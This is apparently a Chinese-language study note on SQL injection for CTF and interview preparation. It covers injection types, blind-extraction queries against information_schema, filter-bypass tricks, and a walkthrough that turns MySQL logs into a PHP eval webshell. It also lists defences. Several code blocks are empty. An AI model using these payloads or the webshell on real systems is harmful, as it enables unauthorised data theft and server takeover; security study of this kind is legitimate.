sql注入
https://www.zhixi.com/view/6d367602
sql 挖掘
先实现网站本身的基础功能
然后发现有注入点的时候,进行测试
是否存在 联合注入
就是判断字符型还是数字型…
看一下回显位
报错注入
看是否存在报错
时间盲注
看是否回沉睡
SQL基础
了解sql
注释
1
-- 一定要加一个空格
表示相等
1
-- 使用`=`
sql信息表
1
infomation_schema
使用系统函数得到信息
1 |
|
使用infomation_schema查看信息
查看所有的数据库
1
SELECT * FROM information_schema.SCHEMATA;
表
1
2
SELECT * FROM information_schema.TABLES;列名
1
SELECT `COLUMN_NAME` FROM information_schema.COLUMNS WHERE TABLE_NAME LIKE '%h%';
数据库表的名字
1
SELECT `TABLE_NAME` FROM information_schema.TABLES;
查看该表属于什么数据库
1
2SELECT * from information_schema.TABLES WHERE `TABLE_NAME` = 'test_data';
字段的名称
1
2
3
4SELECT COLUMN_NAME
FROM
information_schema.COLUMNS
where `TABLE_NAME` = 'student';infomation_schema常用的字段名称
schema_name
所有的数据表- table_schema 当前表的数据库
- table_name 表的名称
- column_name 字段的名称
sql 注入常用的函数
concat(str1,”分隔符” ,str2)
concat(str1,str2,str3)
group_concat(field_username1,field_username2…)
将多行查询的结果以逗号隔开全部输出 (将多行转换成一行输出)
substr(),substring(),mid()
1
SELECT SUBSTR((DATABASE()),0,10);
从0,开始,采取10个字节
left(“string”,size)
从左边开始size个字节
right(“string”,size)
从右边开始size个字节
locate(substr,str)
返回substr在str中第一次出现的位置
limit
和offset
限制查询显示的行数rand()
随机数
select rand()
floor()
向下取整数
sql注入的分类
根据变量分
- 字符型
- 数字型
- 搜索型注入
根据位置分
- get
- post
- http
根据手法分
- 联合注入
- 报错注入
- bool盲注
- 时间盲注(延迟注入)
- 堆叠注入
- 二次注入
- 宽字节注入
有可能存在的地方
万能密码
如果登录框存在万能密码登录的话,就可以判断存在sql注入的漏洞
当我们输入用户名和密码的时候
1 |
|
但是当我们输入万能密码的时候
1 |
|
由于’or’<’and’<’not’的关系
上面的情况就会变成 false or true or false
最后一个false是'1'='1' and Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
因为密码是我们乱输入的,又会先计算and所以会变成false
万能密码收集
sql注入做题的一般步骤
1 判断是字符型还是数字型
?id=1' and 1=2 --+ # 不显示 ?id=1 and 1=2 --+ # 显示
显示为正确为字符,显示错误为数字1
2
3
4
5
字符型
2. ```mysql
?id=1 order by 9999?id=1 ?id=2-1
注释符的种类 # %23 --+ 本来是--空格,这里我们使用--+来代替1
2
3
4
5
如果一项就是数字型,否则就是字符型
4. 补充知识关于注释符的使用按道理来说后面添加了注释符,对的包裹就不完全,所以会报错,但是  没有报错,这种情况下就是把`'2%23'`当成了字符串,所以并不会起到注释的作用1
2
3
4
5
- 注意sql语句后面加一个空格再接注释符不然会被解释成字符串
```mysql
?id=1' and '1'='2%23
2 猜测sql查询的字段数目
使用order by
1
2
3
4?id=1 order by 1
?id=1 order by 2
# ....
# 一直查到报错3是正常的
4就不正常了,可见字段只有3个
3 判断字段显示位
1 |
|
可见2,3是显示位
4 查询数据库的信息
1 |
|
5 查出数据库的表
1 |
|
爆破出表名
6 查表的字段名
1 |
|
7 爆破关键性信息
1 |
|
8 使用通配符破解数据
认识通配符
#
匹配0个活多个
比较灵活
_
只能匹配一个
9 提升权限
10 内网渗透
产生条件
- 我们可以控制传入的参数
- 参数会被带入到后端的数据库查询
sql注入练习
GET
sqli-labs的第一道题
POST
sqli-labs的第十一道题
http
CTFhubs技能树 sql注入的ua注入
这道题是直接使用的是hackbar
联合注入
最简单的一类sql注入
前提:页面有回显
主要使用的就是union select()
报错注入
常用的报错函数
1 |
|
xml[1]
报错注入的三种方式
- extractvalue()
- updatexml()
- floor()+rand()+group()
布尔盲注
简介
布尔盲注,用于页面没有回显,只会返回true 和 false,构造sql 语句,利用and or 等关键词,来构造条件进行返回,从而达到注入
相关函数
ascii
ascii(str) 返回字符的ascii 码值
length
length(str) 返回字符串的长度
left()
left(str,length)
length: 截取长度
substr()
substr(str,pos,length)
从左到右截取固定的长度的字符串
注入流程
求当前的数据库长度
1
2select * from users where id=1 and (length(databases())=8)
SELECT * from users WHERE id = 1 and (length(database())>8)确定数据库名字
1
2
3
4
5
6select * from users where id=1 and (left(databases(),1)='s') # 测试数据库第一个字是否是's'
select * from users where id=1 and (left(databases(),2)='b') # 测试数据库第二个字是否是'b'
# 使用ascii 确定,原理是一致的
select * from users where id=1 and (ascii(substr(databases(),1,1))=115)
select * from users where id=1 and (ascii(substr(databases(),2,1))=101)求当前数据库中表的数量
1
2SELECT * from users WHERE id = 1 AND (select count(table_name) from information_schema.`TABLES` where table_schema = database()) = 4
求表名长度
1
2
3SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),6,1))
SELECT * from users WHERE id = 1 AND (LENGTH((select table_name from information_schema.`TABLES` where table_schema = database() LIMIT 0,1))) = 6求表名
1
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),1,1)) = 101 -- e
1
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),2,1)) = 109 -- m
求列数量
1
SELECT * from users WHERE id = 1 AND (select count(column_name) from information_schema.columns where table_name = "users") = 3
求列的长度
1
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select column_name from information_schema.columns where table_name = "users" limit 0,1),2,1))
求列名
1
2SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select column_name from information_schema.columns where table_name = "users" limit 0,1),1,1)) = 105
求字段数量
1
SELECT * from users WHERE id = 1 AND (select count(username) from users) = 13
求字段长度
1
SELECT * from users WHERE id = 1 and ASCII(SUBSTR((select username from users limit 0,1),1,1)) = 68
求字段名
1
2SELECT * from users WHERE id = 1 and ASCII(SUBSTR((select username from users limit 0,1),1,1)) = 68
时间注入
堆叠注入
搜索型注入
搜索型的注入也可以被叫做时文本框注入
本质上就是模糊查询,使用like 等方式
mysql 的模糊查询
1 |
|
判断方式
搜索
keywords'
,如果出错的话,有90%的可能性存在注入;可以观察报错信息中是否含有% 等字符
搜索
keywords%' and 1=1 and '%'='
(这个语句的功能就相当于普通SQL注入的and 1=1
)看返回情况;搜索
keywords%' and 1=2 and '%'='
(这个语句的功能就相当于普通SQL注入的and 1=2
)看返回情况;根据2和3的返回情况来判断是不是搜索型文本框注入了。
1 |
|
剩下的就是闭合,然后利用union 进行注入就可以了
sql绕过
由于部分程序会对sql的语法进行检测,所以我们的sql语句不能再后端执行,我们需要绕过才行
嵌套双写绕过
ununionion
大小写混淆
union Union
通过内联注释
通过空格绕过
两个空格等于一个tab,所以我们使用 %a0=空格的方式
%20%09%0a %0b %0c %0d %a0/**/
这个是最近的绕过方式,用注释代替空格
/*注释*/
括号绕过空格
有些情况下空格会被过滤,但是括号不会
这种过滤方法常常用于 time based的盲注
引号绕过
逗号绕过
比较符号绕过
sql注入漏洞的危害以及如何防范sql注入
危害
未授权访问 导致信息泄露
可以对数据库的数据进行删除,操作
如果攻击者进行了增加和删除操作,添加了管理者用户,对公司的权益就很受损
可以控制后台,如果网站的目录存在可写的权限,可以写入木马,或者对页面进行篡改
攻击者提权获得远程服务器
防范
- 分级用户,严格控制权限
- 在书写Sql语言的时候,禁止直接将变量写入,而是通过设置相应的参数来传递相关的变量
- 具体检测变量的时候
- 使用安全的参数
- 通过专业的扫描工具
- 多层验证
- 数据库信息加密
防御手段
预编译
1 |
|
使用这种语句的话,用户不能直接传入sql语句,而是使用的是具体的变量,进行赋值
严格控制数据类型
由于数据库部分是弱类型语言所以我们可以使用函数,进行判断用户的输入是字符还是数字
对特殊字符进行转移
使用转义的话,可以防止攻击者进行代码的闭合
常见问题
sql中,group_concat()和concat()函数区别?
group_concat(column2 SEPARATOR separator)
concat()函数用于连接两个或多个字符串,并返回连接后的结果。它可以连接任意数量的字符串,并且可以包含常量、列名和函数等。
如何判断是盲注还是报错注入?
看是否有回显
没有回显,只能通过某些特定的数值来判断,这个就是盲注报错注入会有回显
如何判断是时间盲注还是布尔盲注?
时间盲注的注入点的方法是在可能存在的注入点后加and sleep(值)来看浏览器相应时间和不加是的时间差
联合查询一般步骤是?
检查是否存在sql漏洞
判断是文字型还是字符型
爆破库名
爆破表名
猜测表明
爆破字段
sql漏洞产生原理是什么?
没有过滤和内容检查
sql漏洞目前你能想到的修复方法有哪些?
- 使用白名单
- 做内容过滤
- 参数话查询
- 使用预编译的语言
我想查全局变量,请问有sql语句怎么实现?
1 |
|
CTF中拿到一个sql漏洞,你会使用万能密码么?
你怎么判断这个题是否会用到sql漏洞的知识点?
关于日志getshell和慢日志getshell
前提:
- phpmyadmin利用日志文件getshell需要账号必须是可读可写权限
- mysql 5.0以上
- 网站的绝对路径
思路:
- 通过修改日志文件的全局变量就可以getshell了
日志getshell
mysql查询日志的方法
查询错误日志
1
show variables like 'log_error%'
查询日志
1
show variables like 'general%'
慢日志查询
1
show variables like 'slow-query%'
流程
查看配置信息(全局变量主要针对路径和日志的保存状态)
SHOW VARIABLES LIKE ‘general%’;
修改全局变量
set global general_log=on;
创建自己的sqllog.php文件,我创建于phpstudy的根目录
设置日志的存储路径
完成修改
尝试写入木马
select ‘<?php eval($_POST[cmd]); ?>’;
查看文件,但是我的文件被火绒处理了,证明了是可以的
尝试访问
使用蚁剑连接
连接成功
总结与小知识
global
关键字的命令是查看全局参数的值,而不带gloal的是当前的session
variables
在启动MySQL服务的时候,是可以修改具体的参数值来达
到对MySQL进行动态配置的目的,通常配置在MySQL的my.cnf配置文件中。这些参数中,有些动态的参数
可以通过set xxx=yyy ;的方式来动态修改。
这种参数大多数以小写的英文字母开头。status
status 查看的参数值是由MySQL自己统计计算得到的。它是MySQL服务运行状态具体的量化体现。都
是不可以修改的,也就是不能通过set xxx=yyy; 的方式来改变它的值的。
这种参数大多数以大写的英文字母开头。general_log
开启 general log 将所有到达MySQL Server的SQL语句记录下来。
一般不会开启开功能,因为log的量会非常庞大。但个别情况下可能会临时的开一会儿general log以供排障使用。
关于慢日志getshell
基本和上一个思路一致,只是处理的文件不同了
查看全局参数
修改参数,添加路径
写入木马
这里有两个注意点
- 执行时间需要等一下,这条命令不是执行完就能有回显
- 注意添加的木马是怎么写的
尝试访问
总结
这两种getshell的方式都是通过将日志文作为我们的payload,通过此来连接getshell
思路总结
首先需要打开对应的日志系统,然后将日志文件设定成我们的payload载体,在使用select 添加一句话木马(这里都可以),因为日志是记录使用的命令
面试常问
sql 注入的种类
根据注入位置分
get, post, head(user-agent, cookie, host, xff, referer)
根据类型分
数字型,字符型
根据利用方式分
union, 报错, 盲注(时间,bool), 堆叠,二次,宽字节
sql 注入能做什么?
- 写webshell
- UDF 提权(mysql)/MsSql 提权xp_cmdshell
- 获取管理的密码
- 破坏数据库导致服务出错
- 万能密码登录
端口识别
mysql : 3306
mssql : 1433
orecle : 1521
postgreSql : 5432
db2 : 50000
堆叠注入和二次注入的区别
堆叠注入是同时执行多条语句,使用
;
进行分割,然后每一个;
执行逐步执行二次注入是将执行存储起来,然后某一个程序调用这个方法
宽字节注入的原理
使用gbk 编码,一个字符使用两个字节,后端使用gbk存储和 addslashes()函数,我们可以使用%df 来闭合引号
时间盲注主要函数
1
2if()
sleep()bool 盲注
ascii()
lenth()
substr()
left()
报错注入相关函数
1
2updatexml()
extractvalue()轻绕过waf
将其url+base64 编码
字符串无法预编译
- xml用于网络存储和数据交换的标签语言,类似于html但是没有预设的标签,都是用户自定义 ↩